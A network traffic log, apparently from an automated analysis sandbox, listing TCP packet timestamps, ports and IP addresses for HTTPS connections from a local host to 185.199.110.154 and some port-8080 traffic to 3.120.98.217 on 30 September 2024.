Sep 30, 2024 15:50:12.214282036 CEST	49715	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.215841055 CEST	49715	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.388156891 CEST	49714	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.388190031 CEST	443	49714	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.390384912 CEST	49715	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.390413046 CEST	443	49715	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.412718058 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.412760973 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.412857056 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.412863016 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.412906885 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.412955046 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.413079977 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.413093090 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.413203955 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.413218021 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.887121916 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.887197018 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.888497114 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.888506889 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.889703989 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.889708996 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.892967939 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.893141031 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.893636942 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.893654108 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.894838095 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.894844055 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990295887 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990392923 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990451097 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990449905 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.990449905 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.990480900 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990498066 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.990531921 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990551949 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.990561008 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990609884 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.990609884 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.990911961 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.990993023 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.991076946 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.991149902 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.994724989 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.994848013 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.994864941 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.994935036 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.994947910 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.994992018 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.995053053 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.995101929 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.995110035 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.995125055 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.995183945 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.995183945 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.998451948 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.998503923 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.998506069 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:12.998568058 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.999876022 CEST	49717	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:12.999891043 CEST	443	49717	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.013309002 CEST	49716	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.013324976 CEST	443	49716	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.015189886 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.015244007 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.015312910 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.015361071 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.015394926 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.015500069 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.015503883 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.015526056 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.015657902 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.015670061 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.478533030 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.478621006 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.479055882 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.479062080 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.480591059 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.480595112 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.501583099 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.501662970 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.502047062 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.502057076 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.503283024 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.503288031 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.579391003 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.579705000 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.587327003 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.587336063 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.587368011 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.587414026 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.587423086 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.587440968 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.587493896 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.604813099 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.604908943 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.604932070 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.604979038 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605376005 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.605427980 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605494976 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.605537891 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605587959 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.605631113 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605638027 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.605679989 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605721951 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.605772972 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605861902 CEST	49720	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.605881929 CEST	443	49720	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.606594086 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.606635094 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.607006073 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.607037067 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.607042074 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.669445038 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.669472933 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.669542074 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.669552088 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.669586897 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.669610023 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.676460981 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.676477909 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.676564932 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.676573992 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.676651955 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.731863976 CEST	49702	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:13.756923914 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.756947041 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.757009029 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.757016897 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.757076979 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.757997036 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.758069992 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.758111000 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.758111000 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.758436918 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.758436918 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.758450031 CEST	443	49721	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.758503914 CEST	49721	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.759632111 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.759680033 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.760636091 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.761398077 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:13.761413097 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:13.783030987 CEST	8080	49702	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:14.079976082 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.080591917 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.090182066 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.090188026 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.092334032 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.092339993 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.179224968 CEST	8080	49702	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:14.179301977 CEST	49702	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:14.195723057 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.195797920 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.195833921 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.195955038 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.195962906 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.196063042 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.196130037 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.196145058 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.196394920 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.196403027 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.196513891 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.198079109 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.198214054 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.198215008 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.198242903 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.198278904 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.198364973 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.199184895 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.199276924 CEST	443	49722	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.199363947 CEST	49722	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.200767040 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.200809002 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.201436996 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.202132940 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.202150106 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.217801094 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.217993975 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.221847057 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.221860886 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.222157001 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.222214937 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.222522974 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.267412901 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.318809032 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.319029093 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.319228888 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.319293022 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.319303036 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.319348097 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.319720030 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.319772005 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.319778919 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.319825888 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.319832087 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.319905996 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.327671051 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.327723026 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.327729940 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.327770948 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.327795029 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.327802896 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.327826023 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.327862978 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.327867031 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.327913046 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.328341007 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.328388929 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.334975958 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.335033894 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.424513102 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.424588919 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.424671888 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.424695969 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425060987 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425096035 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425110102 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425117970 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425141096 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425149918 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425195932 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425204039 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425214052 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425244093 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425738096 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425781965 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425789118 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425831079 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.425836086 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425873995 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.425924063 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.525626898 CEST	49723	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.525664091 CEST	443	49723	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.558363914 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.558437109 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.558504105 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.558739901 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.558764935 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.681307077 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.681447983 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.947632074 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.947650909 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.948008060 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:14.948390961 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.957403898 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:14.999401093 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.035859108 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.035947084 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.062771082 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.062784910 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.065431118 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.065485001 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.065548897 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.065603971 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.065649033 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.065660000 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.065721035 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.066083908 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.066091061 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.066230059 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.066284895 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.066291094 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.066505909 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.066873074 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.066907883 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.066915035 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.066966057 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.066982031 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.066987991 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.067008018 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.067050934 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.067801952 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.067847013 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.068839073 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.068898916 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.080547094 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.080696106 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.080714941 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.080869913 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.154460907 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.154544115 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.154597044 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.154656887 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.154835939 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155028105 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155106068 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155272007 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155308962 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155320883 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155359983 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155371904 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155616999 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155697107 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155730009 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155771971 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155834913 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.155968904 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.155976057 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.156244040 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.156727076 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.156893015 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.156945944 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.156953096 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.157083988 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.157144070 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.157144070 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.157150984 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.157191038 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.157859087 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.157974958 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.157982111 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.158068895 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.158075094 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.158123970 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.158129930 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.158199072 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.158734083 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.158828020 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.158833027 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.158965111 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.159013987 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.159020901 CEST	443	49724	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.159060955 CEST	49724	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.164170027 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.164278030 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.164309978 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.164349079 CEST	49725	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:15.164360046 CEST	443	49725	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:15.164417028 CEST	443	49725	185.199.110.154	192.168.2.7
